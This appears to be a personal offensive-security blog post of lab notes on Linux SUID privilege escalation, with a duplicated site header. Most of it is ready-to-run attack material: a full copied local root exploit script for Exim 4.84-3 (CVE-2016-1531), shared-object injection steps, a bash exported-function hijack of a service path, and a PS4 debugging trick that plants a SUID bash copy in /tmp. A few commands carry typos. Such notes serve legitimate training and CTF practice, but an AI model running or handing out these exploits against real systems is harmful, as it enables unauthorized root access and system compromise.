boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

Finding All SUID Executables

Command to find ALL SUID/GUID executables on Debian: find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

Exim 4.84-3 Local Privilege Escalation

NOTE: /usr/sbin/exim-4.84-3 has a known vulnerability and an existing exploit: Exim 4.84-3 - Local Privilege Escalation - Linux local Exploit (exploit-db.com)

#!/bin/sh
# CVE-2016-1531 exim <= 4.84-3 local root exploit
# ===============================================
# you can write files as root or force a perl module to
# load by manipulating the perl environment and running
# exim with the "perl_startup" arguement -ps. 
#
# e.g.
# [fantastic@localhost tmp]$ ./cve-2016-1531.sh 
# [ CVE-2016-1531 local root exploit
# sh-4.3# id
# uid=0(root) gid=1000(fantastic) groups=1000(fantastic)
# 
# -- Hacker Fantastic 
echo [ CVE-2016-1531 local root exploit
cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;

system("/bin/sh");
EOF
PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps


Shared Object Injection

Another option is to abuse shared objects with an injection.

Executing /usr/local/bin/suid-so displays a progress bar before exiting, which is interesting.

Run strace against it: stract /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"

Create the missing .config directory: mkdir /home/user/.config

Spawn a bash shell by compiling libcalc.c into the shared object at the location of suid-so, then run the command again: /user/local/bin/suid-so

ROOT


Bash Function Injection via a Service

We can also abuse shell features to inject bash functions and elevate to root via a service.

For example: strings /usr/local/bin/suid-env2

Bash versions <4.2-048 are susceptible to shell abuse by defining shell functions that resemble file paths, then exporting them so they are used instead of the actual executable.

Confirm the bash version: /bin/bash --version

Create a bash function with the name /usr/sbin/service directly on the command line:

function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service

Type /usr/local/bin/suid-env2 again.

ROOT

NOTE: this will not work on bash version 4.4 and above.

When in debugging mode, bash uses the environment variable PS4 to display an extra prompt for debugging statements. Run the /usr/local/bin/suid-env2 executable with bash debugging enabled and PS4 set to an embedded command that creates an SUID version of /bin/bash:

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2

Then run /tmp/rootbash -p.

ROOT